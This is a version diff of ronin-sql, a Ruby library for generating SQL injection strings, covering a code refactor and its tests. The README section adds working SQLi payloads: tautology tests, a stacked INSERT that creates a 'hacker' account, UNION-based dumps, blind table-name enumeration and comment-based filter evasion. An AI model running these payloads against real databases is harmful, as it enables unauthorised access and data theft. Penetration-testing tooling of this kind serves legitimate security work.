ronin-sql 1.0.0 → 1.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,3 +1,15 @@
1
+ ### 1.1.0 / 2013-01-22
2
+
3
+ * Added {Ronin::SQL::InjectionExpr}, so that statements specified within
4
+ `and { }`, `or { }` blocks would not be appending to the
5
+ {Ronin::SQL::Injection} object.
6
+ * Made {Ronin::SQL::Field} emittable.
7
+ * Added {Ronin::SQL::Emitter#emit_argument}, so that any sub-statements will
8
+ be wrapped in `( )`.
9
+ * Improved {Ronin::SQL::Emitter#emit_field}.
10
+ * Fixed {Ronin::SQL::Emitter#emit} to pass {Ronin::SQL::Function}s to
11
+ {Ronin::SQL::Emitter#emit_function}.
12
+
1
13
  ### 1.0.0 / 2013-01-21
2
14
 
3
15
  * Require [Ruby] >= 1.9.1.
data/README.md CHANGED
@@ -8,13 +8,13 @@
8
8
 
9
9
  ## Description
10
10
 
11
- {Ronin::SQL} is a Ruby DSL for crafting SQL Injections (SQLi).
11
+ {Ronin::SQL} is a Ruby DSL for crafting [SQL Injections (SQLi)][SQLi].
12
12
 
13
13
  ### Features
14
14
 
15
15
  * Provides convenience methods for encoding/decoding SQL data.
16
16
  * Provides an Domain Specific Language (DSL) for crafting normal SQL and
17
- SQL injections.
17
+ [SQL injections][SQLi].
18
18
 
19
19
  ## Examples
20
20
 
@@ -43,9 +43,16 @@ Hex decode a String:
43
43
 
44
44
  ### SQLi DSL
45
45
 
46
- Injecting a `1=1` test into a String value:
46
+ Injecting a `1=1` test into a Integer comparison:
47
47
 
48
- sqli = Ronin::SQL::Injection.new(:escape => :string)
48
+ sqli = Ronin::SQL::Injection.new
49
+ sqli.or { 1 == 1 }
50
+ puts sqli
51
+ # 1 OR 1=1
52
+
53
+ Injecting a `1=1` test into a String comparison:
54
+
55
+ sqli = Ronin::SQL::Injection.new(escape: :string)
49
56
  sqli.or { string(1) == string(1) }
50
57
  puts sqli
51
58
  # 1' OR '1'='1
@@ -62,16 +69,69 @@ Clauses:
62
69
  sqli = Ronin::SQL::Injection.new
63
70
  sqli.or { 1 == 1 }.limit(0)
64
71
  puts sqli
65
- # 1 AND admin=1
72
+ # 1 OR 1=1 LIMIT 0
66
73
 
67
74
  Statements:
68
75
 
76
+ sqli = Ronin::SQL::Injection.new
77
+ sqli.and { 1 == 0 }
78
+ sqli.insert.into(:users).values('hacker','passw0rd','t')
79
+ puts sqli
80
+ # 1 AND 1=0; INSERT INTO users VALUES ('hacker','passw0rd','t')
81
+
82
+ Sub-Statements:
83
+
69
84
  sqli = Ronin::SQL::Injection.new
70
85
  sqli.union { select(1,2,3,4,id).from(users) }
71
86
  puts sqli
72
87
  # 1 UNION SELECT (1,2,3,4,id) FROM users
73
88
 
74
- Filter evasion:
89
+ Test if a table exists:
90
+
91
+ sqli = Ronin::SQL::Injection.new
92
+ sqli.and { select(count).from(:users) == 1 }
93
+ puts sqli
94
+ # 1 AND (SELECT COUNT(*) FROM users)=1
95
+
96
+ Create errors by using non-existant tables:
97
+
98
+ sqli = Ronin::SQL::Injection.new(escape: :string)
99
+ sqli.and { non_existant_table == '1' }
100
+ puts sqli
101
+ # 1' AND non_existant_table='1
102
+
103
+ Dumping all values of a column:
104
+
105
+ sqli = Ronin::SQL::Injection.new(escape: :string)
106
+ sqli.or { username.is_not(null) }.or { username == '' }
107
+ puts sqli
108
+ # 1' OR username IS NOT NULL OR username='
109
+
110
+ Enumerate through database table names:
111
+
112
+ sqli = Ronin::SQL::Injection.new
113
+ sqli.and {
114
+ ascii(
115
+ lower(
116
+ substring(
117
+ select(:name).top(1).from(sysobjects).where { xtype == 'U' }, 1, 1
118
+ )
119
+ )
120
+ ) > 116
121
+ }
122
+ puts sqli
123
+ # 1 AND ASCII(LOWER(SUBSTRING((SELECT name TOP 1 FROM sysobjects WHERE xtype='U'),1,1)))>116
124
+
125
+ Find user supplied tables via the `sysObjects` table:
126
+
127
+ sqli = Ronin::SQL::Injection.new
128
+ sqli.union_all {
129
+ select(1,2,3,4,5,6,name).from(sysObjects).where { xtype == 'U' }
130
+ }
131
+ puts sqli.to_sql(:terminate => true)
132
+ # 1 UNION ALL (SELECT (1,2,3,4,5,6,name) FROM sysObjects WHERE xtype='U');--
133
+
134
+ Bypass filters using `/**/` instead of spaces:
75
135
 
76
136
  sqli = Ronin::SQL::Injection.new
77
137
  sqli.union { select(1,2,3,4,id).from(users) }
@@ -107,4 +167,6 @@ GNU General Public License for more details.
107
167
  You should have received a copy of the GNU General Public License
108
168
  along with Ronin Asm. If not, see <http://www.gnu.org/licenses/>.
109
169
 
170
+ [SQLi]: http://en.wikipedia.org/wiki/SQL_injection
171
+
110
172
  [Ruby]: http://www.ruby-lang.org
@@ -28,6 +28,8 @@ module Ronin
28
28
  #
29
29
  # Represents a binary expression in SQL.
30
30
  #
31
+ # @api semipublic
32
+ #
31
33
  class BinaryExpr < Struct.new(:left,:operator,:right)
32
34
 
33
35
  include Operators
@@ -32,6 +32,8 @@ module Ronin
32
32
  #
33
33
  # Represents a SQL Clause.
34
34
  #
35
+ # @api semipublic
36
+ #
35
37
  class Clause < Struct.new(:keyword,:argument)
36
38
 
37
39
  include Literals
@@ -25,6 +25,8 @@ module Ronin
25
25
  #
26
26
  # Methods for creating common SQL {Clause Clauses}.
27
27
  #
28
+ # @api public
29
+ #
28
30
  module Clauses
29
31
  #
30
32
  # The defined clauses of the statement.
@@ -170,6 +172,17 @@ module Ronin
170
172
  clause(:UNION,&block)
171
173
  end
172
174
 
175
+ #
176
+ # Appends a `UNION ALL` clause.
177
+ #
178
+ # @return [self]
179
+ #
180
+ # @since 1.1.0
181
+ #
182
+ def union_all(&block)
183
+ clause([:UNION, :ALL],&block)
184
+ end
185
+
173
186
  #
174
187
  # Appends a `GROUP BY` clause.
175
188
  #
@@ -27,12 +27,16 @@ module Ronin
27
27
  #
28
28
  # Allows an object to be converted to raw SQL.
29
29
  #
30
+ # @api public
31
+ #
30
32
  module Emittable
31
33
  #
32
34
  # Creates a new emitter.
33
35
  #
34
36
  # @param [Hash] options
35
37
  # Additional options for {Emitter#initialize}.
38
+ #
39
+ # @api private
36
40
  #
37
41
  def emitter(options={})
38
42
  Emitter.new(options)
@@ -27,6 +27,8 @@ module Ronin
27
27
  #
28
28
  # Generates raw SQL.
29
29
  #
30
+ # @api private
31
+ #
30
32
  class Emitter
31
33
 
32
34
  # The case to use when emitting keywords
@@ -89,18 +91,16 @@ module Ronin
89
91
  #
90
92
  # Emits a SQL operator.
91
93
  #
92
- # @param [Symbol] op
94
+ # @param [Array<Symbol>, Symbol] op
93
95
  # The operator symbol.
94
96
  #
95
97
  # @return [String]
96
98
  # The raw SQL.
97
99
  #
98
100
  def emit_operator(op)
99
- op = op.to_s
100
-
101
101
  case op
102
- when /^[a-zA-Z]+$/ then emit_keyword(op)
103
- else op
102
+ when /^\W+$/ then op.to_s
103
+ else emit_keyword(op)
104
104
  end
105
105
  end
106
106
 
@@ -182,7 +182,13 @@ module Ronin
182
182
  # The raw SQL.
183
183
  #
184
184
  def emit_field(field)
185
- field.to_s
185
+ name = emit_keyword(field.name)
186
+
187
+ if field.parent
188
+ name = "#{emit_field(field.parent)}.#{name}"
189
+ end
190
+
191
+ return name
186
192
  end
187
193
 
188
194
  #
@@ -213,6 +219,24 @@ module Ronin
213
219
  }.join(',')
214
220
  end
215
221
 
222
+ #
223
+ # Emits a value used in an expression.
224
+ #
225
+ # @param [Statement, #to_sql] operand
226
+ # The operand to emit.
227
+ #
228
+ # @return [String]
229
+ # The raw SQL.
230
+ #
231
+ # @since 1.1.0
232
+ #
233
+ def emit_argument(operand)
234
+ case operand
235
+ when Statement then "(#{emit_statement(operand)})"
236
+ else emit(operand)
237
+ end
238
+ end
239
+
216
240
  #
217
241
  # Emits a SQL expression.
218
242
  #
@@ -227,22 +251,18 @@ module Ronin
227
251
 
228
252
  case expr
229
253
  when BinaryExpr
230
- left, right = emit(expr.left), emit(expr.right)
231
-
232
- left = "(#{left})" if expr.left.kind_of?(Statement)
233
- right = "(#{right})" if expr.right.kind_of?(Statement)
254
+ left, right = emit_argument(expr.left), emit_argument(expr.right)
234
255
 
235
256
  case op
236
- when /^\w+$/ then [left, op, right].join(@space)
237
- else "#{left}#{op}#{right}"
257
+ when /^\W+$/ then "#{left}#{op}#{right}"
258
+ else [left, op, right].join(@space)
238
259
  end
239
260
  when UnaryExpr
240
- operand = emit(expr.operand)
241
- operand = "(#{operand})" if expr.operand.kind_of?(Statement)
261
+ operand = emit_argument(expr.operand)
242
262
 
243
- case op
244
- when /^\w+$/ then [op, operand].join(@space)
245
- else "#{op}#{operand}"
263
+ case expr.operator
264
+ when /^\W+$/ then "#{op}#{operand}"
265
+ else [op, operand].join(@space)
246
266
  end
247
267
  end
248
268
  end
@@ -258,7 +278,7 @@ module Ronin
258
278
  #
259
279
  def emit_function(function)
260
280
  name = emit_keyword(function.name)
261
- arguments = function.arguments.map { |argument| emit(argument) }
281
+ arguments = function.arguments.map { |value| emit_argument(value) }
262
282
 
263
283
  return "#{name}(#{arguments.join(',')})"
264
284
  end
@@ -284,10 +304,12 @@ module Ronin
284
304
  when Float then emit_decimal(object)
285
305
  when String then emit_string(object)
286
306
  when Literal then emit(object.value)
287
- when Field, Symbol then emit_field(object)
307
+ when Symbol then emit_keyword(object)
308
+ when Field then emit_field(object)
288
309
  when Array then emit_list(object)
289
310
  when Hash then emit_assignments(object)
290
311
  when BinaryExpr, UnaryExpr then emit_expression(object)
312
+ when Function then emit_function(object)
291
313
  when Clause then emit_clause(object)
292
314
  when Statement then emit_statement(object)
293
315
  when StatementList then emit_statement_list(object)
@@ -313,7 +335,7 @@ module Ronin
313
335
  sql = emit_keyword(clause.keyword)
314
336
 
315
337
  unless clause.argument.nil?
316
- sql << @space << emit(clause.argument)
338
+ sql << @space << emit_argument(clause.argument)
317
339
  end
318
340
 
319
341
  return sql
@@ -345,7 +367,16 @@ module Ronin
345
367
  sql = emit_keyword(stmt.keyword)
346
368
 
347
369
  unless stmt.argument.nil?
348
- sql << @space << emit(stmt.argument)
370
+ case stmt.argument
371
+ when Array
372
+ sql << @space << if stmt.argument.length == 1
373
+ emit_argument(stmt.argument[0])
374
+ else
375
+ emit_list(stmt.argument)
376
+ end
377
+ else
378
+ sql << @space << emit_argument(stmt.argument)
379
+ end
349
380
  end
350
381
 
351
382
  unless stmt.clauses.empty?
@@ -21,15 +21,19 @@
21
21
  #
22
22
 
23
23
  require 'ronin/sql/operators'
24
+ require 'ronin/sql/emittable'
24
25
 
25
26
  module Ronin
26
27
  module SQL
27
28
  #
28
29
  # Represents a SQL column, table or database name.
29
30
  #
31
+ # @api semipublic
32
+ #
30
33
  class Field < Struct.new(:name,:parent)
31
34
 
32
35
  include Operators
36
+ include Emittable
33
37
 
34
38
  #
35
39
  # Initializes the new field.
@@ -61,18 +65,6 @@ module Ronin
61
65
  return field
62
66
  end
63
67
 
64
- #
65
- # Converts the field to a String.
66
- #
67
- # @return [String]
68
- # The full field name.
69
- #
70
- def to_s
71
- if parent then "#{parent}.#{name}"
72
- else name.to_s
73
- end
74
- end
75
-
76
68
  alias to_str to_s
77
69
 
78
70
  protected
@@ -27,6 +27,8 @@ module Ronin
27
27
  #
28
28
  # Allows creating {Field Fields} via {#method_missing}.
29
29
  #
30
+ # @api public
31
+ #
30
32
  module Fields
31
33
  #
32
34
  # @return [true]
@@ -28,6 +28,8 @@ module Ronin
28
28
  #
29
29
  # Represents a SQL function call.
30
30
  #
31
+ # @api semipublic
32
+ #
31
33
  class Function < Struct.new(:name,:arguments)
32
34
 
33
35
  include Operators
@@ -27,6 +27,8 @@ module Ronin
27
27
  #
28
28
  # Methods for creating common SQL {Function Functions}.
29
29
  #
30
+ # @api public
31
+ #
30
32
  module Functions
31
33
  #
32
34
  # @!group Aggregate Functions
@@ -20,9 +20,9 @@
20
20
  # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
21
21
  #
22
22
 
23
- require 'ronin/sql/binary_expr'
24
23
  require 'ronin/sql/literals'
25
24
  require 'ronin/sql/clauses'
25
+ require 'ronin/sql/injection_expr'
26
26
  require 'ronin/sql/statement_list'
27
27
 
28
28
  module Ronin
@@ -30,6 +30,10 @@ module Ronin
30
30
  #
31
31
  # Represents a SQL injection (SQLi).
32
32
  #
33
+ # @api public
34
+ #
35
+ # @see http://en.wikipedia.org/wiki/SQL_injection
36
+ #
33
37
  class Injection < StatementList
34
38
 
35
39
  include Literals
@@ -47,9 +51,6 @@ module Ronin
47
51
  # The type of element to escape out of
48
52
  attr_reader :escape
49
53
 
50
- # The place holder data
51
- attr_reader :place_holder
52
-
53
54
  # The expression that will be injected
54
55
  attr_reader :expression
55
56
 
@@ -78,11 +79,12 @@ module Ronin
78
79
  #
79
80
  def initialize(options={},&block)
80
81
  @escape = options.fetch(:escape,:integer)
81
- @place_holder = options.fetch(:place_holder) do
82
+
83
+ place_holder = options.fetch(:place_holder) do
82
84
  PLACE_HOLDERS.fetch(@escape)
83
85
  end
84
86
 
85
- @expression = @place_holder
87
+ @expression = InjectionExpr.new(place_holder)
86
88
 
87
89
  super(&block)
88
90
  end
@@ -90,44 +92,34 @@ module Ronin
90
92
  #
91
93
  # Appends an `AND` expression to the injection.
92
94
  #
93
- # @yield [(injection)]
95
+ # @yield [(expr)]
94
96
  # The return value of the block will be used as the right-hand side
95
97
  # operand. If the block accepts an argument, it will be called with
96
98
  # the injection.
97
99
  #
98
- # @yieldparam [Injection] injection
100
+ # @yieldparam [InjectionExpr] expr
99
101
  #
100
102
  # @return [self]
101
103
  #
102
104
  def and(&block)
103
- value = case block.arity
104
- when 0 then instance_eval(&block)
105
- else block.call(self)
106
- end
107
-
108
- @expression = BinaryExpr.new(@expression,:AND,value)
105
+ @expression.and(&block)
109
106
  return self
110
107
  end
111
108
 
112
109
  #
113
110
  # Appends an `OR` expression to the injection.
114
111
  #
115
- # @yield [(injection)]
112
+ # @yield [(expr)]
116
113
  # The return value of the block will be used as the right-hand side
117
114
  # operand. If the block accepts an argument, it will be called with
118
- # the injection.
115
+ # the injection expression.
119
116
  #
120
- # @yieldparam [Injection] injection
117
+ # @yieldparam [InjectionExp] expr
121
118
  #
122
119
  # @return [self]
123
120
  #
124
121
  def or(&block)
125
- value = case block.arity
126
- when 0 then instance_eval(&block)
127
- else block.call(self)
128
- end
129
-
130
- @expression = BinaryExpr.new(@expression,:OR,value)
122
+ @expression.or(&block)
131
123
  return self
132
124
  end
133
125
 
@@ -145,9 +137,7 @@ module Ronin
145
137
  #
146
138
  def to_sql(options={})
147
139
  emitter = emitter(options)
148
- sql = ''
149
-
150
- sql << emitter.emit(@expression)
140
+ sql = @expression.to_sql(options)
151
141
 
152
142
  unless clauses.empty?
153
143
  sql << emitter.space << emitter.emit_clauses(clauses)
@@ -0,0 +1,113 @@
1
+ #
2
+ # Ronin SQL - A Ruby DSL for crafting SQL Injections.
3
+ #
4
+ # Copyright (c) 2007-2013 Hal Brodigan (postmodern.mod3 at gmail.com)
5
+ #
6
+ # This file is part of Ronin SQL.
7
+ #
8
+ # This program is free software; you can redistribute it and/or modify
9
+ # it under the terms of the GNU General Public License as published by
10
+ # the Free Software Foundation; either version 2 of the License, or
11
+ # (at your option) any later version.
12
+ #
13
+ # This program is distributed in the hope that it will be useful,
14
+ # but WITHOUT ANY WARRANTY; without even the implied warranty of
15
+ # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
16
+ # GNU General Public License for more details.
17
+ #
18
+ # You should have received a copy of the GNU General Public License
19
+ # along with this program; if not, write to the Free Software
20
+ # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
21
+ #
22
+
23
+ require 'ronin/sql/binary_expr'
24
+ require 'ronin/sql/literals'
25
+ require 'ronin/sql/fields'
26
+ require 'ronin/sql/functions'
27
+ require 'ronin/sql/statements'
28
+ require 'ronin/sql/emittable'
29
+
30
+ module Ronin
31
+ module SQL
32
+ #
33
+ # @api private
34
+ #
35
+ # @since 1.1.0
36
+ #
37
+ class InjectionExpr
38
+
39
+ include Literals
40
+ include Fields
41
+ include Functions
42
+ include Statements
43
+ include Emittable
44
+
45
+ # The expression that will be injected
46
+ attr_reader :expression
47
+
48
+ #
49
+ # Initializes the new expression to inject.
50
+ #
51
+ # @param [String, Integer, Float, Array, Symbol] initial_value
52
+ # The initial value for the expression.
53
+ #
54
+ def initialize(initial_value)
55
+ @expression = initial_value
56
+ end
57
+
58
+ #
59
+ # Appends an `AND` expression to the injection.
60
+ #
61
+ # @yield [(self)]
62
+ # The return value of the block will be used as the right-hand side
63
+ # operand. If the block accepts an argument, it will be called with
64
+ # the injection expression.
65
+ #
66
+ # @return [self]
67
+ #
68
+ def and(&block)
69
+ value = case block.arity
70
+ when 0 then instance_eval(&block)
71
+ else block.call(self)
72
+ end
73
+
74
+ @expression = BinaryExpr.new(@expression,:AND,value)
75
+ return self
76
+ end
77
+
78
+ #
79
+ # Appends an `OR` expression to the injection.
80
+ #
81
+ # @yield [(self)]
82
+ # The return value of the block will be used as the right-hand side
83
+ # operand. If the block accepts an argument, it will be called with
84
+ # the injection expression.
85
+ #
86
+ # @return [self]
87
+ #
88
+ def or(&block)
89
+ value = case block.arity
90
+ when 0 then instance_eval(&block)
91
+ else block.call(self)
92
+ end
93
+
94
+ @expression = BinaryExpr.new(@expression,:OR,value)
95
+ return self
96
+ end
97
+
98
+ #
99
+ # Emits the injection expression.
100
+ #
101
+ # @param [Hash] options
102
+ # Additional options for {Emitter#initialize}.
103
+ #
104
+ # @return [String]
105
+ # The raw SQL.
106
+ #
107
+ def to_sql(options={})
108
+ emitter(options).emit(@expression)
109
+ end
110
+
111
+ end
112
+ end
113
+ end
@@ -28,6 +28,8 @@ module Ronin
28
28
  #
29
29
  # Represents SQL literals.
30
30
  #
31
+ # @api semipublic
32
+ #
31
33
  class Literal < Struct.new(:value)
32
34
 
33
35
  include Operators
@@ -27,6 +27,8 @@ module Ronin
27
27
  #
28
28
  # Methods for creating SQL {Literals Literal}.
29
29
  #
30
+ # @api public
31
+ #
30
32
  module Literals
31
33
  #
32
34
  # Creates a `NULL` literal.
@@ -25,6 +25,8 @@ module Ronin
25
25
  #
26
26
  # Methods for creating SQL expressions.
27
27
  #
28
+ # @api public
29
+ #
28
30
  # @see http://sqlite.org/lang_expr.html
29
31
  #
30
32
  module Operators
@@ -205,7 +207,7 @@ module Ronin
205
207
  # The new binary expression.
206
208
  #
207
209
  def is_not(other)
208
- BinaryExpr.new(self,:"IS NOT",other)
210
+ BinaryExpr.new(self,[:IS, :NOT],other)
209
211
  end
210
212
 
211
213
  #
@@ -24,6 +24,12 @@ require 'ronin/sql/statement_list'
24
24
  require 'ronin/sql/injection'
25
25
 
26
26
  module Ronin
27
+ #
28
+ # Provides a Domain Specific Language (DSL) for crafting complex
29
+ # {StatementList SQL} and SQL {Injection Injections} (SQLi).
30
+ #
31
+ # @see http://en.wikipedia.org/wiki/SQL_injection
32
+ #
27
33
  module SQL
28
34
 
29
35
  #
@@ -44,6 +50,8 @@ module Ronin
44
50
  # sql { select(1,2,3,4,id).from(users) }
45
51
  # # => #<Ronin::SQL::StatementList: SELECT (1,2,3,4,id) FROM users>
46
52
  #
53
+ # @api public
54
+ #
47
55
  def sql(&block)
48
56
  StatementList.new(&block)
49
57
  end
@@ -78,6 +86,8 @@ module Ronin
78
86
  # sqli { self.and { 1 == 1 }.select(1,2,3,4,id).from(users) }
79
87
  # # => #<Ronin::SQL::Injection: 1 AND 1=1; SELECT (1,2,3,4,id) FROM users; SELECT (1,2,3,4,id) FROM users>
80
88
  #
89
+ # @api public
90
+ #
81
91
  def sqli(options={},&block)
82
92
  Injection.new(options,&block)
83
93
  end
@@ -31,6 +31,8 @@ module Ronin
31
31
  #
32
32
  # Represents a SQL Statement.
33
33
  #
34
+ # @api semipublic
35
+ #
34
36
  class Statement < Struct.new(:keyword,:argument)
35
37
 
36
38
  include Literals
@@ -34,6 +34,8 @@ module Ronin
34
34
  #
35
35
  # Represents a list of SQL {Statements Statement}.
36
36
  #
37
+ # @api public
38
+ #
37
39
  class StatementList
38
40
 
39
41
  include Fields
@@ -25,6 +25,8 @@ module Ronin
25
25
  #
26
26
  # Methods for creating common SQL {Statement Statements}.
27
27
  #
28
+ # @api public
29
+ #
28
30
  module Statements
29
31
  #
30
32
  # Creates an arbitrary statement.
@@ -25,7 +25,9 @@ require 'ronin/sql/emittable'
25
25
  module Ronin
26
26
  module SQL
27
27
  #
28
- # Represents a unary-expression in SQL.
28
+ # Represents a unary expression in SQL.
29
+ #
30
+ # @api semipublic
29
31
  #
30
32
  class UnaryExpr < Struct.new(:operator,:operand)
31
33
 
@@ -23,6 +23,6 @@
23
23
  module Ronin
24
24
  module SQL
25
25
  # Ronin SQL version
26
- VERSION = '1.0.0'
26
+ VERSION = '1.1.0'
27
27
  end
28
28
  end
@@ -29,6 +29,9 @@ describe SQL::Clauses do
29
29
  include_examples "Clause", :full_join, [:FULL, :JOIN], :table
30
30
  include_examples "Clause", :on, :ON, proc { id == 1 }
31
31
  include_examples "Clause", :union, :UNION, proc { select(:*).from(:table) }
32
+ include_examples "Clause", :union_all, [:UNION, :ALL], proc {
33
+ select(:*).from(:table)
34
+ }
32
35
  include_examples "Clause", :group_by, [:GROUP, :BY], [:column1, :column2]
33
36
  include_examples "Clause", :having, :HAVING, proc { max(priv) > 100 }
34
37
  include_examples "Clause", :limit, :LIMIT, 100
@@ -74,17 +74,17 @@ describe SQL::Emitter do
74
74
  end
75
75
 
76
76
  describe "#emit_operator" do
77
- context "when the operator is upper-case alphabetic text" do
78
- subject { described_class.new(case: :lower) }
79
-
80
- it "should emit a keyword" do
81
- subject.emit_operator(:AS).should == 'as'
77
+ context "when the operator is a symbol" do
78
+ it "should emit a String" do
79
+ subject.emit_operator(:"!=").should == '!='
82
80
  end
83
81
  end
84
82
 
85
83
  context "otherwise" do
86
- it "should emit a String" do
87
- subject.emit_operator(:"!=").should == '!='
84
+ subject { described_class.new(case: :lower) }
85
+
86
+ it "should emit a keyword" do
87
+ subject.emit_operator(:AS).should == 'as'
88
88
  end
89
89
  end
90
90
  end
@@ -134,8 +134,21 @@ describe SQL::Emitter do
134
134
  end
135
135
 
136
136
  describe "#emit_field" do
137
- it "should emit a String" do
138
- subject.emit_field(:id).should == 'id'
137
+ subject { described_class.new(case: :upper) }
138
+
139
+ let(:field) { SQL::Field.new(:id) }
140
+
141
+ it "should emit the name as a keyword" do
142
+ subject.emit_field(field).should == 'ID'
143
+ end
144
+
145
+ context "when the field has a parent" do
146
+ let(:parent) { SQL::Field.new(:users) }
147
+ let(:field) { SQL::Field.new(:id,parent) }
148
+
149
+ it "should emit the parent then the field name" do
150
+ subject.emit_field(field).should == 'USERS.ID'
151
+ end
139
152
  end
140
153
  end
141
154
 
@@ -153,6 +166,24 @@ describe SQL::Emitter do
153
166
  end
154
167
  end
155
168
 
169
+ describe "#emit_argument" do
170
+ context "when the value is a Statement" do
171
+ let(:stmt) { SQL::Statement.new(:SELECT,1) }
172
+
173
+ it "should wrap the statement in ( )" do
174
+ subject.emit_argument(stmt).should == '(SELECT 1)'
175
+ end
176
+ end
177
+
178
+ context "otherwise" do
179
+ let(:value) { 'hello' }
180
+
181
+ it "should emit the value" do
182
+ subject.emit_argument(value).should == "'hello'"
183
+ end
184
+ end
185
+ end
186
+
156
187
  describe "#emit_expression" do
157
188
  context "when the expression is a BinaryExpr" do
158
189
  context "when the operator is alphabetic" do
@@ -161,7 +192,7 @@ describe SQL::Emitter do
161
192
  let(:expr) { SQL::BinaryExpr.new(:id,:is,1) }
162
193
 
163
194
  it "should emit the operands and operator as a keyword with spaces" do
164
- subject.emit_expression(expr).should == 'id IS 1'
195
+ subject.emit_expression(expr).should == 'ID IS 1'
165
196
  end
166
197
  end
167
198
 
@@ -327,6 +358,14 @@ describe SQL::Emitter do
327
358
  end
328
359
  end
329
360
 
361
+ context "when passed a Function" do
362
+ let(:func) { SQL::Function.new(:MAX,1,2) }
363
+
364
+ it "should emit the function" do
365
+ subject.emit(func).should == 'MAX(1,2)'
366
+ end
367
+ end
368
+
330
369
  context "when passed a Statment" do
331
370
  let(:stmt) { SQL::Statement.new(:SELECT,1) }
332
371
 
@@ -423,6 +462,22 @@ describe SQL::Emitter do
423
462
  subject.emit_statement(stmt).should == 'select 1'
424
463
  end
425
464
 
465
+ context "when the argument is an Array" do
466
+ let(:stmt) { SQL::Statement.new(:SELECT,[1,2,3]) }
467
+
468
+ it "should emit a list" do
469
+ subject.emit_statement(stmt).should == 'select (1,2,3)'
470
+ end
471
+
472
+ context "with only one element" do
473
+ let(:stmt) { SQL::Statement.new(:SELECT,[1]) }
474
+
475
+ it "should emit the element" do
476
+ subject.emit_statement(stmt).should == 'select 1'
477
+ end
478
+ end
479
+ end
480
+
426
481
  context "with custom :space" do
427
482
  subject { described_class.new(case: :lower, space: '/**/') }
428
483
 
@@ -0,0 +1,98 @@
1
+ require 'spec_helper'
2
+ require 'ronin/sql/injection_expr'
3
+
4
+ describe SQL::InjectionExpr do
5
+ let(:initial_value) { 1 }
6
+
7
+ subject { described_class.new(initial_value) }
8
+
9
+ describe "#and" do
10
+ context "on first call" do
11
+ before { subject.and { 1 } }
12
+
13
+ it "should create a 'AND' BinaryExpr" do
14
+ subject.expression.operator.should == :AND
15
+ end
16
+
17
+ it "should create an expression with the initial value" do
18
+ subject.expression.left.should == initial_value
19
+ end
20
+
21
+ it "should create an expression with the expression" do
22
+ subject.expression.right.should == 1
23
+ end
24
+ end
25
+
26
+ context "on multiple calls" do
27
+ before { subject.and { 1 }.and { 2 } }
28
+
29
+ it "should create another 'AND' BinaryExpr" do
30
+ subject.expression.operator.should == :AND
31
+ end
32
+
33
+ it "should nest the expressions" do
34
+ subject.expression.left.right.should == 1
35
+ subject.expression.right.should == 2
36
+ end
37
+ end
38
+ end
39
+
40
+ describe "#or" do
41
+ context "on first call" do
42
+ before { subject.or { 1 } }
43
+
44
+ it "should create a 'OR' BinaryExpr" do
45
+ subject.expression.operator.should == :OR
46
+ end
47
+
48
+ it "should create an expression with the initial value" do
49
+ subject.expression.left.should == initial_value
50
+ end
51
+
52
+ it "should create an expression with the expression" do
53
+ subject.expression.right.should == 1
54
+ end
55
+ end
56
+
57
+ context "on multiple calls" do
58
+ before { subject.or { 1 }.or { 2 } }
59
+
60
+ it "should create another 'OR' BinaryExpr" do
61
+ subject.expression.operator.should == :OR
62
+ end
63
+
64
+ it "should nest the expressions" do
65
+ subject.expression.left.right.should == 1
66
+ subject.expression.right.should == 2
67
+ end
68
+ end
69
+ end
70
+
71
+ describe "#to_sql" do
72
+ context "without additional expressions" do
73
+ subject { described_class.new(1) }
74
+
75
+ it "should still emit the initial value" do
76
+ subject.to_sql.should == '1'
77
+ end
78
+ end
79
+
80
+ context "with an additional expression" do
81
+ subject do
82
+ sqli = described_class.new(1)
83
+ sqli.or { 1 == 1 }
84
+ sqli
85
+ end
86
+
87
+ it "should emit the expression" do
88
+ subject.to_sql.should == '1 OR 1=1'
89
+ end
90
+
91
+ context "when given emitter options" do
92
+ it "should accept additional options" do
93
+ subject.to_sql(case: :lower).should == '1 or 1=1'
94
+ end
95
+ end
96
+ end
97
+ end
98
+ end
@@ -36,8 +36,9 @@ describe SQL::Injection do
36
36
 
37
37
  subject { described_class.new(:place_holder => data) }
38
38
 
39
- its(:place_holder) { should == data }
40
- its(:expression) { should == data }
39
+ it "should pass it to the InjectionExpr" do
40
+ subject.expression.expression.should == data
41
+ end
41
42
  end
42
43
 
43
44
  context "when a block is given" do
@@ -49,68 +50,6 @@ describe SQL::Injection do
49
50
  end
50
51
  end
51
52
 
52
- describe "#and" do
53
- context "on first call" do
54
- before { subject.and { 1 } }
55
-
56
- it "should create a 'AND' BinaryExpr" do
57
- subject.expression.operator.should == :AND
58
- end
59
-
60
- it "should create an expression with the place-holder" do
61
- subject.expression.left.should == subject.place_holder
62
- end
63
-
64
- it "should create an expression with the expression" do
65
- subject.expression.right.should == 1
66
- end
67
- end
68
-
69
- context "on multiple calls" do
70
- before { subject.and { 1 }.and { 2 } }
71
-
72
- it "should create another 'AND' BinaryExpr" do
73
- subject.expression.operator.should == :AND
74
- end
75
-
76
- it "should nest the expressions" do
77
- subject.expression.left.right.should == 1
78
- subject.expression.right.should == 2
79
- end
80
- end
81
- end
82
-
83
- describe "#or" do
84
- context "on first call" do
85
- before { subject.or { 1 } }
86
-
87
- it "should create a 'OR' BinaryExpr" do
88
- subject.expression.operator.should == :OR
89
- end
90
-
91
- it "should create an expression with the place-holder" do
92
- subject.expression.left.should == subject.place_holder
93
- end
94
-
95
- it "should create an expression with the expression" do
96
- subject.expression.right.should == 1
97
- end
98
- end
99
-
100
- context "on multiple calls" do
101
- before { subject.or { 1 }.or { 2 } }
102
-
103
- it "should create another 'OR' BinaryExpr" do
104
- subject.expression.operator.should == :OR
105
- end
106
-
107
- it "should nest the expressions" do
108
- subject.expression.left.right.should == 1
109
- subject.expression.right.should == 2
110
- end
111
- end
112
- end
113
-
114
53
  describe "#to_sql" do
115
54
  context "without an expression" do
116
55
  subject { described_class.new(place_holder: 1) }
@@ -25,7 +25,7 @@ describe SQL::Operators do
25
25
  include_examples "BinaryExpr", :!=
26
26
  include_examples "BinaryExpr", :as, :AS
27
27
  include_examples "BinaryExpr", :is, :IS
28
- include_examples "BinaryExpr", :is_not, :"IS NOT"
28
+ include_examples "BinaryExpr", :is_not, [:IS, :NOT]
29
29
  include_examples "BinaryExpr", :like, :LIKE
30
30
